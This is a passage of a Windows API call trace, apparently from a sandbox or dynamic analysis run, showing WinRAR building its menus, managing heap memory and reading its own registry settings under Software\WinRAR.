hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec920 | out: hHeap=0x28b08430000) returned 1 [0060.580] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x16) returned 0x28b084ede80 [0060.580] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ede80 | out: hHeap=0x28b08430000) returned 1 [0060.580] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8) returned 0x28b08445b50 [0060.580] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08445b50 | out: hHeap=0x28b08430000) returned 1 [0060.581] GetLastError () returned 0x2 [0060.581] SetLastError (dwErrCode=0x2) [0060.581] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Extraction", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fc420 | out: phkResult=0xf00f8fc420*=0x0) returned 0x2 [0060.581] GetMenu (hWnd=0x10246) returned 0x10277 [0060.581] GetSubMenu (hMenu=0x10277, nPos=4) returned 0x1024c [0060.581] GetSubMenu (hMenu=0x1024c, nPos=6) returned 0x10256 [0060.581] DeleteMenu (hMenu=0x10256, uPosition=0x0, uFlags=0x400) returned 1 [0060.581] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="&Save current") returned 0xd [0060.581] InsertMenuW (hMenu=0x10256, uPosition=0x0, uFlags=0x400, uIDNewItem=0xad, lpNewItem="&Save current") returned 1 [0060.581] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67d, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="&Help") returned 0x5 [0060.581] InsertMenuW (hMenu=0x10256, uPosition=0x1, uFlags=0x400, uIDNewItem=0xae, lpNewItem="&Help") returned 1 [0060.581] InsertMenuW (hMenu=0x10256, uPosition=0x2, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0060.581] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x67e, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="&Default") returned 0x8 [0060.581] InsertMenuW (hMenu=0x10256, uPosition=0x3, uFlags=0x400, uIDNewItem=0xaf, lpNewItem="&Default") returned 1 [0060.581] GetCPInfoExW (in: CodePage=0xfde9, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.601] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.601] GetACP () returned 0x4e4 [0060.601] GetOEMCP () returned 0x1b5 [0060.601] GetCPInfoExW (in: CodePage=0x4e4, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.601] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.601] GetCPInfoExW (in: CodePage=0x1b5, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.601] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.601] InsertMenuW (hMenu=0x10256, uPosition=0x3e8, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0060.601] GetCPInfoExW (in: CodePage=0x362, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.644] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.644] GetCPInfoExW (in: CodePage=0x36a, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.644] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.644] GetCPInfoExW (in: CodePage=0x3a4, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.644] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.644] GetCPInfoExW (in: CodePage=0x3a8, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.644] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.644] GetCPInfoExW (in: CodePage=0x3b5, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.645] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.645] GetCPInfoExW (in: CodePage=0x3b6, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.645] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.645] GetCPInfoExW (in: CodePage=0x4e2, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.645] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.645] GetCPInfoExW (in: CodePage=0x4e3, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.645] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.645] GetCPInfoExW (in: CodePage=0x4e5, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.645] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.646] GetCPInfoExW (in: CodePage=0x4e6, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.646] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.646] GetCPInfoExW (in: CodePage=0x4e7, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.646] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.646] GetCPInfoExW (in: CodePage=0x4e8, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.646] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.646] GetCPInfoExW (in: CodePage=0x4e9, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.646] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.647] GetCPInfoExW (in: CodePage=0x4ea, dwFlags=0x0, lpCPInfoEx=0xf00f8fc5b0 | out: lpCPInfoEx=0xf00f8fc5b0) returned 1 [0060.647] InsertMenuItemW (hmenu=0x10256, item=0x3e8, fByPosition=1, lpmi=0xf00f8fc560) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0xaf, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x640, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x640, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x641, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x641, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x642, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x642, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x643, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x643, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x644, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x644, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x645, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x645, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x646, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x646, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x647, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x647, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x648, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x648, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.647] GetMenuItemInfoW (in: hmenu=0x10256, item=0x649, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.647] SetMenuItemInfoW (hmenu=0x10256, item=0x649, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x64a, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.648] SetMenuItemInfoW (hmenu=0x10256, item=0x64a, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x64b, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.648] SetMenuItemInfoW (hmenu=0x10256, item=0x64b, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x64c, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.648] SetMenuItemInfoW (hmenu=0x10256, item=0x64c, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x64d, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.648] SetMenuItemInfoW (hmenu=0x10256, item=0x64d, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x64e, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.648] SetMenuItemInfoW (hmenu=0x10256, item=0x64e, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x64f, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.648] SetMenuItemInfoW (hmenu=0x10256, item=0x64f, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x650, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 1 [0060.648] SetMenuItemInfoW (hmenu=0x10256, item=0x650, fByPositon=0, lpmii=0xf00f8fc7b0) returned 1 [0060.648] GetMenuItemInfoW (in: hmenu=0x10256, item=0x651, fByPosition=0, lpmii=0xf00f8fc7b0 | out: lpmii=0xf00f8fc7b0) returned 0 [0060.648] GetCurrentProcess () returned 0xffffffffffffffff [0060.648] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8fc700, lpSystemAffinityMask=0xf00f8fc708 | out: lpProcessAffinityMask=0xf00f8fc700, lpSystemAffinityMask=0xf00f8fc708) returned 1 [0060.648] GetCurrentProcess () returned 0xffffffffffffffff [0060.648] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8fc760, lpSystemAffinityMask=0xf00f8fc768 | out: lpProcessAffinityMask=0xf00f8fc760, lpSystemAffinityMask=0xf00f8fc768) returned 1 [0060.648] GetLastError () returned 0x5b0 [0060.648] SetLastError (dwErrCode=0x5b0) [0060.649] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fc310 | out: phkResult=0xf00f8fc310*=0x2f0) returned 0x0 [0060.649] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SMP", lpReserved=0x0, lpType=0xf00f8fc774, lpData=0xf00f8fc770, lpcbData=0xf00f8fc7a8*=0x4 | out: lpType=0xf00f8fc774*=0x0, lpData=0xf00f8fc770*=0x1, lpcbData=0xf00f8fc7a8*=0x4) returned 0x2 [0060.649] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fb730 | out: phkResult=0xf00f8fb730*=0x2f0) returned 0x0 [0060.649] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fb730 | out: phkResult=0xf00f8fb730*=0x2f0) returned 0x0 [0060.649] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fb730 | out: phkResult=0xf00f8fb730*=0x2f0) returned 0x0 [0060.649] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] GetLastError () returned 0x5b0 [0060.649] SetLastError (dwErrCode=0x5b0) [0060.649] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fb730 | out: phkResult=0xf00f8fb730*=0x2f0) returned 0x0 [0060.649] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fb730 | out: phkResult=0xf00f8fb730*=0x2f0) returned 0x0 [0060.650] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\5", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fb730 | out: phkResult=0xf00f8fb730*=0x0) returned 0x2 [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fc340 | out: phkResult=0xf00f8fc340*=0x2f0) returned 0x0 [0060.650] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Default", lpReserved=0x0, lpType=0xf00f8fc7a4, lpData=0xf00f8fc7a0, lpcbData=0xf00f8fc7d8*=0x4 | out: lpType=0xf00f8fc7a4*=0x4, lpData=0xf00f8fc7a0*=0x1, lpcbData=0xf00f8fc7d8*=0x4) returned 0x0 [0060.650] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.650] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcName", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0xf00f8fb770, lpcbData=0xf00f8f9a10*=0x1000 | out: lpType=0xf00f8f9a14*=0x0, lpData=0xf00f8fb770*=0x0, lpcbData=0xf00f8f9a10*=0x1000) returned 0x2 [0060.650] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.650] GetLastError () returned 0x5b0 [0060.650] SetLastError (dwErrCode=0x5b0) [0060.651] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9620 | out: phkResult=0xf00f8f9620*=0x2f0) returned 0x0 [0060.651] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xf00f8f9a80*=0xf8f9b70 | out: lpType=0x0, lpData=0x0, lpcbData=0xf00f8f9a80*=0x0) returned 0x2 [0060.651] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.651] GetLastError () returned 0x5b0 [0060.651] SetLastError (dwErrCode=0x5b0) [0060.651] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9620 | out: phkResult=0xf00f8f9620*=0x2f0) returned 0x0 [0060.651] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ExclNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xf00f8f9a80*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0xf00f8f9a80*=0x2) returned 0x0 [0060.651] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.651] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x16) returned 0x28b084ee1c0 [0060.651] GetLastError () returned 0x5b0 [0060.651] SetLastError (dwErrCode=0x5b0) [0060.651] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.651] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ExclNames", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x28b084ee1c0, lpcbData=0xf00f8f9a10*=0x16 | out: lpType=0xf00f8f9a14*=0x1, lpData="", lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.651] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.651] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ee1c0 | out: hHeap=0x28b08430000) returned 1 [0060.651] GetLastError () returned 0x5b0 [0060.651] SetLastError (dwErrCode=0x5b0) [0060.651] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9620 | out: phkResult=0xf00f8f9620*=0x2f0) returned 0x0 [0060.651] RegQueryValueExW (in: hKey=0x2f0, lpValueName="StoreNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xf00f8f9a80*=0x2 | out: lpType=0x0, lpData=0x0, lpcbData=0xf00f8f9a80*=0x2) returned 0x0 [0060.651] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.651] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x414) returned 0x28b084ef500 [0060.651] GetLastError () returned 0x5b0 [0060.651] SetLastError (dwErrCode=0x5b0) [0060.651] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.651] RegQueryValueExW (in: hKey=0x2f0, lpValueName="StoreNames", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x28b084ef500, lpcbData=0xf00f8f9a10*=0x414 | out: lpType=0xf00f8f9a14*=0x1, lpData="", lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.651] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.651] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ef500 | out: hHeap=0x28b08430000) returned 1 [0060.652] GetLastError () returned 0x5b0 [0060.652] SetLastError (dwErrCode=0x5b0) [0060.652] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.652] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Default", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x1, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.652] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.652] GetLastError () returned 0x5b0 [0060.652] SetLastError (dwErrCode=0x5b0) [0060.652] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.652] RegQueryValueExW (in: hKey=0x2f0, lpValueName="UseRAR", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x1, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.652] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.652] GetLastError () returned 0x5b0 [0060.652] SetLastError (dwErrCode=0x5b0) [0060.652] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.652] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RAR5", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x1, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.652] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.653] GetLastError () returned 0x5b0 [0060.653] SetLastError (dwErrCode=0x5b0) [0060.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.653] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXModule", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x7ff6f7625658, lpcbData=0xf00f8f9a10*=0x1000 | out: lpType=0xf00f8f9a14*=0x1, lpData="", lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.653] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.653] GetLastError () returned 0x5b0 [0060.653] SetLastError (dwErrCode=0x5b0) [0060.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.653] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFX", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x0, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x2 [0060.653] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.653] GetLastError () returned 0x5b0 [0060.653] SetLastError (dwErrCode=0x5b0) [0060.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.653] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXIcon", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x7ff6f762ca62, lpcbData=0xf00f8f9a10*=0x1000 | out: lpType=0xf00f8f9a14*=0x1, lpData="", lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.653] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.653] GetLastError () returned 0x5b0 [0060.653] SetLastError (dwErrCode=0x5b0) [0060.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.653] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXLogo", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x7ff6f762da62, lpcbData=0xf00f8f9a10*=0x1000 | out: lpType=0xf00f8f9a14*=0x1, lpData="", lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.653] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.653] GetLastError () returned 0x5b0 [0060.653] SetLastError (dwErrCode=0x5b0) [0060.653] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.654] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXElevate", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.654] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.654] GetLastError () returned 0x5b0 [0060.654] SetLastError (dwErrCode=0x5b0) [0060.654] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.654] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtFile", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x7ff6f762765e, lpcbData=0xf00f8f9a10*=0x1000 | out: lpType=0xf00f8f9a14*=0x1, lpData="", lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.654] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.654] 